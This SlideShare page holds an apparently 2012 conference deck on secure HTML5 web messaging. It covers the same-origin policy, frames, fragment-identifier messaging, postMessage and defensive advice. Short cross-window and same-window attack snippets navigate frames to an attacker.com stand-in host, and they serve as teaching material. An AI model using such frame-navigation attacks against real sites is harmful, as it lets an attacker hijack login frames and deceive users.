SlideShare a Scribd company logo
Secure Web Messaging in
HTML5
Krishna Chaitanya T
Microsoft MVP, Internet Explorer

@novogeek



                                   MUGH Developer
                                       Day
                                     29th Jan, 2012
Agenda



Web 2.0                     Communicatio            HTML5                           Security
A quick overview of         n                       How the new Web                 Solved problems &
new needs of Web 2.0                                Messaging API helps             new concerns
                            Traditional data
era
Case study of few Mashups
                            exchange & drawbacks
                             Quick overview:        Why there is a need for a new   Reduced scope for XSS
                            JavaScript, Ajax,       specification for web based     Improved trust model
Understanding their         Browser Sandbox, SOP,   messaging,
technical limitations       Frames, Navigation                                      Newer security concerns
                            policies, Fragment                                      Counter measures
                            Identifier
A mashup with widgets




               PageFlakes.com
An interactive mashup




                 HousingMaps.com
Embedding Remote JS

 Assumption - script is from trusted source

 No isolation of origins

 Runs in the context of window
                                               “A mashup is a self-inflicted XSS
 Has complete access to DOM                   attack”

                                               -Douglas Crockford,
 Can read & export your data
                                               Inventor of JSON

 No user involvement needed
Same Origin Policy

 Browser has to isolate different origins

 Origin = protocol://host:port
     Ex: http://bing.com, http://localhost:81/, https://icicibank.com

 Privileges within origin
     Full network access
     Read/Write access to DOM
     Storage

 Embedded scripts have privileges of imported page, NOT source server

 AJAX calls to cross domains fail due to SOP.
Demo
Same Origin Policy in action!
Isolation with Frames
 Different security contexts for different origins

 Brings modularity but less interactive than embedding JS

 No standard communication mechanism

 Comply with SOP - Run remote code safely



 <!-- This is allowed -->
 <iframe src="sameDomainPage.html"> </iframe>
 alert(frames[0].contentDocument.body); //works fine

 <!-- This is **NOT** allowed -->
 <iframe src="http://crossDomain.com"> </iframe>
 alert(frames[0].contentDocument.body); //throws error
Frame Navigation
 Beware! Frames can be navigated to different origins!

 Frame-Frame relationships
     Can script in Frame A modify DOM of Frame B?
     Can Script in Frame A “navigate” or change the origin of Frame B?

 Frame navigation is NOT the same as SOP - often mistaken!


  <iframe src=“http://crossDomain.com"> </iframe>

  <!-- This is **NOT** allowed -->
  alert(frames[0].src); //throws error – SOP restriction

  <!-- This is allowed -->
  alert(frames[0].src=“http://bing.com”); //works fine - frame navigation
Cross-Window Attack!




                                                                awglogin




    window.open("https://attacker.com/", "awglogin");



                          Courtesy: Stanford Web Security Lab
Same-Window attack!

           top.frames[1].location = "http://www.attacker.com/...";
           top.frames[2].location = "http://www.attacker.com/...";
                                    ...




                 Courtesy: Stanford Web Security Lab
Frame Navigation Policies

Permissive



Window



Descendant



Child
Frame
Communication
Fragment Identifier Messaging
 Work around before HTML5

 Limited data, no acknowledgements.

 Navigation doesn’t reload page

 Not a secure channel.

  //Sender.html
  function send(){
    iframe.src=“http://localhost/receiver.html#data”;
  }
  //Receiver.html
  window.onload=function(){
    data=window.location.hash;
  }
HTML5 Post Message API




 Cross-origin client side communication

 Network-like channel between frames

 Securely abstracts multiple principals

 Frames can now integrate widgets with improved trust
HTML5 Post Message API
 Syntax: otherwindow.postMessage(message, targetOrigin);

 targetOrigin can be a trusted source or wild card *“*”+


 //Posting message to a cross domain partner.
 frames[0].postMessage(“Hello Partner!”, "http://localhost:81/");

 //Retrieving message from the sender
 window.onmessage = function (e) {
     if (e.origin == 'http://localhost') {
        //sanitize and accept data
     }
 };
Few security considerations
 Do not configure target origin to “*”.
       Sensitive data can be leaked to unknown widgets

 Always check for sender’s origin
       Client side DoS attacks can be launched

 Always validate data before use.
     Do not consume data directly with eval() or innerHTML
     Follow best practices of DOM based XSS prevention

 Eavesdropping with framing attacks!
     In spite of above checks, data can still be lost
       Ex: Recursive Mashup attack
     Follow frame busting techniques
Demo
 Playing with HTML5 Post Message API

 Bonus (if time permits) – Recursive Mashup Attack!
References & Reading
 “Secure Frame Communication in Browsers”-Adam Barth, Collin
  Jackson, John Mitchell-Stanford Web Security Research Lab

 W3C HTML5 Web Messaging Specification -
  http://dev.w3.org/html5/postmsg/#authors

 Dive into HTML5 – http://diveintohtml5.info

 IE9 Guide for Developers - http://msdn.microsoft.com/en-
  us/ie/hh410106.aspx
Thank You!


http://novogeek.com | @novogeek


        http://mugh.net

More Related Content

PPTX
JSFoo Chennai 2012
PPTX
Browser Internals-Same Origin Policy
PPTX
Html5 security
PPTX
Clickjacking DevCon2011
PDF
Html5 for Security Folks
PDF
Attacking Web Proxies
PPTX
Dom based xss
PPT
Browser Security
JSFoo Chennai 2012
Browser Internals-Same Origin Policy
Html5 security
Clickjacking DevCon2011
Html5 for Security Folks
Attacking Web Proxies
Dom based xss
Browser Security

What's hot (20)

PDF
New Insights into Clickjacking
PPTX
Owasp Top 10 A3: Cross Site Scripting (XSS)
PDF
Html5 localstorage attack vectors
PPT
Top Ten Web Hacking Techniques – 2008
PPTX
Top Ten Web Hacking Techniques of 2012
PDF
When Ajax Attacks! Web application security fundamentals
PDF
BsidesDelhi 2018: DomGoat - the DOM Security Playground
PDF
Rich Web App Security - Keeping your application safe
PPTX
Browser Security 101
PPTX
Java script, security and you - Tri-Cities Javascript Developers Group
PPT
Web browser privacy and security
PPT
Starwest 2008
PDF
Top Ten Web Hacking Techniques (2008)
PDF
Sandboxed platform using IFrames, postMessage and localStorage
PDF
Top Ten Web Hacking Techniques (2010)
PPT
Xss is more than a simple threat
PPTX
Browser Security by pratimesh Pathak ( Buldhana)
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PPTX
MITM Attacks on HTTPS: Another Perspective
PDF
VSA: The Virtual Scripted Attacker, Brucon 2012
New Insights into Clickjacking
Owasp Top 10 A3: Cross Site Scripting (XSS)
Html5 localstorage attack vectors
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques of 2012
When Ajax Attacks! Web application security fundamentals
BsidesDelhi 2018: DomGoat - the DOM Security Playground
Rich Web App Security - Keeping your application safe
Browser Security 101
Java script, security and you - Tri-Cities Javascript Developers Group
Web browser privacy and security
Starwest 2008
Top Ten Web Hacking Techniques (2008)
Sandboxed platform using IFrames, postMessage and localStorage
Top Ten Web Hacking Techniques (2010)
Xss is more than a simple threat
Browser Security by pratimesh Pathak ( Buldhana)
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
MITM Attacks on HTTPS: Another Perspective
VSA: The Virtual Scripted Attacker, Brucon 2012
Ad

Similar to Secure web messaging in HTML5 (20)

PPTX
W3 conf hill-html5-security-realities
PPTX
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
PPTX
W3 conf hill-html5-security-realities
PDF
XCS110_All_Slides.pdf
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PDF
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
PDF
Will Web 2.0 applications break the cloud?
PPTX
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
PPTX
Detection of webshells in compromised perimeter assets using ML algorithms
PPTX
Caja "Ka-ha" Introduction
PPTX
Top 10 Web Hacks 2012
PDF
AJAX: How to Divert Threats
PPTX
HTML5 Real-Time and Connectivity
PDF
Locking the Throneroom 2.0
KEY
Cross Site Scripting - Mozilla Security Learning Center
PPTX
Cross Site Scripting Defense Presentation
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
PPT
Secure Mashups
PPTX
04. xss and encoding
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
W3 conf hill-html5-security-realities
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
W3 conf hill-html5-security-realities
XCS110_All_Slides.pdf
Website hacking and prevention (All Tools,Topics & Technique )
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Will Web 2.0 applications break the cloud?
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Detection of webshells in compromised perimeter assets using ML algorithms
Caja "Ka-ha" Introduction
Top 10 Web Hacks 2012
AJAX: How to Divert Threats
HTML5 Real-Time and Connectivity
Locking the Throneroom 2.0
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting Defense Presentation
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
Secure Mashups
04. xss and encoding
Owasp Top 10 - Owasp Pune Chapter - January 2008
Ad

Recently uploaded (20)

PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPTX
Big Data Technologies - Introduction.pptx
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Encapsulation_ Review paper, used for researhc scholars
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PPTX
Cloud computing and distributed systems.
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Approach and Philosophy of On baking technology
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Encapsulation theory and applications.pdf
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Dropbox Q2 2025 Financial Results & Investor Presentation
Big Data Technologies - Introduction.pptx
MIND Revenue Release Quarter 2 2025 Press Release
Understanding_Digital_Forensics_Presentation.pptx
Encapsulation_ Review paper, used for researhc scholars
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Network Security Unit 5.pdf for BCA BBA.
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
Unlocking AI with Model Context Protocol (MCP)
The Rise and Fall of 3GPP – Time for a Sabbatical?
Reach Out and Touch Someone: Haptics and Empathic Computing
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Cloud computing and distributed systems.
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Approach and Philosophy of On baking technology
Advanced methodologies resolving dimensionality complications for autism neur...
Encapsulation theory and applications.pdf
Diabetes mellitus diagnosis method based random forest with bat algorithm

Secure web messaging in HTML5

  • 1. Secure Web Messaging in HTML5 Krishna Chaitanya T Microsoft MVP, Internet Explorer @novogeek MUGH Developer Day 29th Jan, 2012
  • 2. Agenda Web 2.0 Communicatio HTML5 Security A quick overview of n How the new Web Solved problems & new needs of Web 2.0 Messaging API helps new concerns Traditional data era Case study of few Mashups exchange & drawbacks Quick overview: Why there is a need for a new Reduced scope for XSS JavaScript, Ajax, specification for web based Improved trust model Understanding their Browser Sandbox, SOP, messaging, technical limitations Frames, Navigation Newer security concerns policies, Fragment Counter measures Identifier
  • 3. A mashup with widgets PageFlakes.com
  • 4. An interactive mashup HousingMaps.com
  • 5. Embedding Remote JS  Assumption - script is from trusted source  No isolation of origins  Runs in the context of window “A mashup is a self-inflicted XSS  Has complete access to DOM attack” -Douglas Crockford,  Can read & export your data Inventor of JSON  No user involvement needed
  • 6. Same Origin Policy  Browser has to isolate different origins  Origin = protocol://host:port  Ex: http://bing.com, http://localhost:81/, https://icicibank.com  Privileges within origin  Full network access  Read/Write access to DOM  Storage  Embedded scripts have privileges of imported page, NOT source server  AJAX calls to cross domains fail due to SOP.
  • 8. Isolation with Frames  Different security contexts for different origins  Brings modularity but less interactive than embedding JS  No standard communication mechanism  Comply with SOP - Run remote code safely <!-- This is allowed --> <iframe src="sameDomainPage.html"> </iframe> alert(frames[0].contentDocument.body); //works fine <!-- This is **NOT** allowed --> <iframe src="http://crossDomain.com"> </iframe> alert(frames[0].contentDocument.body); //throws error
  • 9. Frame Navigation  Beware! Frames can be navigated to different origins!  Frame-Frame relationships  Can script in Frame A modify DOM of Frame B?  Can Script in Frame A “navigate” or change the origin of Frame B?  Frame navigation is NOT the same as SOP - often mistaken! <iframe src=“http://crossDomain.com"> </iframe> <!-- This is **NOT** allowed --> alert(frames[0].src); //throws error – SOP restriction <!-- This is allowed --> alert(frames[0].src=“http://bing.com”); //works fine - frame navigation
  • 10. Cross-Window Attack! awglogin window.open("https://attacker.com/", "awglogin"); Courtesy: Stanford Web Security Lab
  • 11. Same-Window attack! top.frames[1].location = "http://www.attacker.com/..."; top.frames[2].location = "http://www.attacker.com/..."; ... Courtesy: Stanford Web Security Lab
  • 14. Fragment Identifier Messaging  Work around before HTML5  Limited data, no acknowledgements.  Navigation doesn’t reload page  Not a secure channel. //Sender.html function send(){ iframe.src=“http://localhost/receiver.html#data”; } //Receiver.html window.onload=function(){ data=window.location.hash; }
  • 15. HTML5 Post Message API  Cross-origin client side communication  Network-like channel between frames  Securely abstracts multiple principals  Frames can now integrate widgets with improved trust
  • 16. HTML5 Post Message API Syntax: otherwindow.postMessage(message, targetOrigin);  targetOrigin can be a trusted source or wild card *“*”+ //Posting message to a cross domain partner. frames[0].postMessage(“Hello Partner!”, "http://localhost:81/"); //Retrieving message from the sender window.onmessage = function (e) { if (e.origin == 'http://localhost') { //sanitize and accept data } };
  • 17. Few security considerations  Do not configure target origin to “*”.  Sensitive data can be leaked to unknown widgets  Always check for sender’s origin  Client side DoS attacks can be launched  Always validate data before use.  Do not consume data directly with eval() or innerHTML  Follow best practices of DOM based XSS prevention  Eavesdropping with framing attacks!  In spite of above checks, data can still be lost  Ex: Recursive Mashup attack  Follow frame busting techniques
  • 18. Demo  Playing with HTML5 Post Message API  Bonus (if time permits) – Recursive Mashup Attack!
  • 19. References & Reading  “Secure Frame Communication in Browsers”-Adam Barth, Collin Jackson, John Mitchell-Stanford Web Security Research Lab  W3C HTML5 Web Messaging Specification - http://dev.w3.org/html5/postmsg/#authors  Dive into HTML5 – http://diveintohtml5.info  IE9 Guide for Developers - http://msdn.microsoft.com/en- us/ie/hh410106.aspx
  • 20. Thank You! http://novogeek.com | @novogeek http://mugh.net